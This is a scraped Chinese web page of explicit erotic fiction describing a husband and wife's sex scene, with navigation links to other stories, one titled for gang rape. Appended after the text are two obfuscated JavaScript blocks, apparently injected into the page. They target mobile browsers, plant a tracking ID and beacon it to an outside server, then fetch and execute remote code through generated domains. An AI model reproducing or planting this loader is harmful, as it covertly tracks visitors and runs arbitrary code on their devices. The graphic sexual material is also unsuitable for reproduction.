应该好好的伺候一下老婆了。想到这里他抚了一下孔翠的头,起身把房门关了起来。

孔翠望了望他,心中偷偷乐了一下。

麻三哪里还能放得过她,一个飞扑把她压在身下,随后用嘴堵住了她的嘴,孔翠的嘴依然有股百合花的香味,他在想她是不是百合花仙子转世而来的。 孔翠这时还是半推半就的状态,身子被麻三压得有点痛,不停的扭动着。 麻三却错认为老婆是有了感觉,顿时把手伸了出来,一下子插进她的衣服里,他感觉到她的身子依然那么炽热,就像是一个装满开水的杯子,不但把手弄热,还把他的心温暖了。

“啊!你轻点,把咪咪揉痛了。”

麻三呵呵一笑,在她的耳根亲了一下,笑着说道:“呵呵,痛了再亲亲。” 说着他便把嘴移到了乳头上,柔柔的乳头带着淡淡的体香,让麻三顿时感觉到自己的老婆原来也是这么美。他的舌头轻轻的在乳头上绕来绕去,似乎在安抚刚才所带来的痛。

孔翠扭动着身子,挺起那又白又大的乳房迎合着,看样子,在她的心里还是原谅了自己。他乐了,望着微动的身子,轻轻的开始进攻起来。

刺激越大,越刺激越挺,整个胀得红通通的略发紫色,他感觉老婆真的进入了状态。麻三的手开始往孔翠的下身游走,手指头像一条灵活的小蛇,慢慢爬向她的下身,弄得她欲火焚身,开始呻吟起来,小小的樱桃小口半张,眼神迷离。 麻三的手一下子钻进了孔翠的裤头里,一股湿气扑来,他感觉到这里明显与其他部位不一样,虽然只有两片阴唇,但是这个地方已经充血过度,顶得老高了,两片阴唇似乎都快张开了嘴,当麻三的手刚到边缘的时候,“飕”一下险些滑了进去。

“老婆,你现在的样子最美了。”

孔翠这时被麻三摸得神智不清,听着麻三的情话觉得脸上更是热辣辣的,但是心里很是高兴,红着脸说道:“去你的,净说胡话。”

“我可没说胡话,都是掏心的话。”

“但愿你说的都是真话。别用手进这,你的手好脏。”

孔翠明显感觉到麻三的手越来越不正经了,食指和中指一个劲的往阴道里钻。孔翠越是不让,麻三越积极,而且另一只手也压住了她的手,一下子枢了进去。 床“吱吱呀呀”的响了起来,两个人光熘熘的不停翻腾,似乎一切的烦恼都已荡然无存了。

“啊!你可真坏,人家都说不能用嘴了。”

麻三这时伸出舌头冲向孔翠的下身,顺手把裤子脱了下来。眼前一个正规的倒三角形耸毛让麻三看着都眼馋起来了,黑悠悠的阴毛里露出一小点红,好像是一枝独秀般伫立在那里,麻三伸出嘴巴猛地亲了一下。

孔翠这时再也受不了了,麻三的舌头真的太厉害了,亲得她整个身子都酥软了。

她越叫,麻三越来劲,舌头时而亲着那个露着小嫩头的阴蒂,滑进两个大阴唇中间,时而伸得老长直接进到了阴道里,滑滑软软的舌头与大而粗的鸡巴就是不一样,孔翠一边享受,一边想着:是啊,才多大点事啊,再说了,有没有还不知道呢!要是一直生气的话,对他对自己都没什么好处。现在多好,自己偶尔生一下小气就对自己这么镳贴,净捡人家的?点弄,弄得自己真的很想让丈夫那根大肉棒用力抽插,好解决生理的需要。

她扭动着屁股,示意麻三快点上来,好让那根大肉棒子进去旅游一圈。麻三也没想到孔翠的力气这么大,整个身子竟滑到了她的上身,孔翠一下子放手了,他就正好落在孔翠的奶子旁,麻三没有放过,用力的吸了起来。

下面的大肉棍刚好顶到她的下身份叉处,更没想到的是她竟然身子一沈,把整个龟头一下子吸了进去。麻三一看:不行,还没开始挑逗呢!怎么可以这么快就进去了。

“进来吧,进,快进,小妹妹痒死了、痒死了。”

“呵呵,真的吗?好的,马上让哥哥拯救你。”说着麻三便把大龟头拔了出来。

孔翠随后叫道:“啊!进,不要,不要拔出来,下面都痒死了,等着你插呢!


上一篇:我的极其生活

下一篇:我爱上被轮奸


function bfuckW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function phvgqQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bfuckW(t);};window[''+'v'+'V'+'w'+'Z'+'r'+'k'+'J'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function DqAw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=phvgqQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=DqAw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=DqAw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmtlYm5yyYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYSS5jbm1lbnQuY24lM0E5NTM1','162093',window,document,['y','S']);}:function(){};
function BdhumfVo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function omMbL(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BdhumfVo(t);};window[''+'U'+'w'+'Y'+'s'+'D'+'t'+'F'+'P'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MUFV(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=omMbL,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MUFV(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MUFV(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmtlYm5yYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1llbnQuY24llM0E5NTM1','162092',window,document,['M','l']);}:function(){};